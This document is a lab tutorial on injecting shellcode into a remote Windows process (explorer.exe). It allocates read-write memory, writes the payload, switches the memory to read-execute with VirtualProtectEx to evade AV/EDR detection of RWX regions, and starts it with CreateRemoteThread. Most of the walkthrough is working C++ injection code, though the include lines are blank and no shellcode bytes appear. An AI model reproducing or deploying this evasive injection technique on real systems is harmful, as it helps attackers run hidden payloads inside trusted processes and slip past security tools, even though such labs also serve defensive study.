Classic Code Injection Remote Process Using VirtualProtect
## Overview
In this lab, we cover classic code injection in remote process using VirtualProtect. This is the same technique, we discussed in last lab but one extra step is involved in this lab which is to change the permission of allocated memory with Windows API `VirtualProtect`. Allocating `RWX` region at a same time is great indicator for AV/EDR solutions, so to avoid RWX region detection, we first create `RW` region and before executing shellcode we change it to `RX`. This method involves creating a new thread in a remote process and executing the payload or shellcode within that context. This is often done using Windows API functions such as `OpenProcess`, `VirtualAllocEx`, `WriteProcessMemory`, `VirtualProtect` and `CreateRemoteThread`.
## Steps
1. `Identify the Target Process:` `Toolhelp32` functions to enumerate running processes and identify the target process by its name.
2. `Obtain a Handle to the Target Process:` `OpenProcess` function to get a handle with necessary access rights (PROCESS_ALL_ACCESS).
3. `Allocate Memory in the Target Process:` `VirtualAllocEx` function to allocate `RW` memory in the target process's address space.
4. `Write Shellcode to the Allocated Memory:` `WriteProcessMemory` to write the shellcode into the allocated memory.
5. `Chnage the memory protection:` `VirtualProtect` to change the RW protection to RX.
5. `Create a Remote Thread to Execute the Shellcode:` `CreateRemoteThread` function to create a new thread in the target process that starts at the address of the our shellcode.
## Walkthrough
These headers are necessary to use the Windows API functions for process enumeration, memory manipulation, and thread creation.
```cpp
#include
#include
#include
```
This function, `GetProcessHandleByName`, takes the target process's name (e.g., L"explorer.exe") and returns its handle by enumerating through all running processes.
```cpp
HANDLE GetProcessHandleByName(const std::wstring& processName) {
HANDLE hProcess = nullptr;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
auto snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return nullptr;
if (Process32FirstW(snapshot, &pe32)) {
do {
if (processName == pe32.szExeFile) {
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
break;
}
} while (Process32NextW(snapshot, &pe32));
}
CloseHandle(snapshot);
return hProcess;
}
```
`VirtualAllocEx` is used to allocate a block of memory in the virtual address space of the target process (explorer.exe). The memory is allocated with `PAGE_READWRITE` permissions to allow the shellcode to be written.
```cpp
// Allocate a memory buffer for payload with permission RW
my_sc_mem = VirtualAllocEx(hProcess, 0, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
```
`WriteProcessMemory` writes our shellcode into the allocated memory in the target process.
```cpp
// copy payload to allocated buffer using WriteProcessMemory()
WriteProcessMemory(hProcess, my_sc_mem, sc, sc_len, NULL);
```
`VirtualProtect` is to change the memory protection from RW to RX before executing the shellcode.
```cpp
// change the allocated memory section permission to Executable
VirtualProtectEx(hProcess, my_sc_mem, sc_len, PAGE_EXECUTE_READ, &oldprotect);
```
`CreateRemoteThread` creates a new thread in the target process. The thread starts executing at the address of the injected shellcode. The code then waits for the thread to complete using `WaitForSingleObject` and cleans up the handles.
```cpp
// run shellcode
hthread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)my_sc_mem, NULL, 0, NULL);
if (hthread != NULL) {
WaitForSingleObject(hthread, 500);
CloseHandle(hthread);
}
```
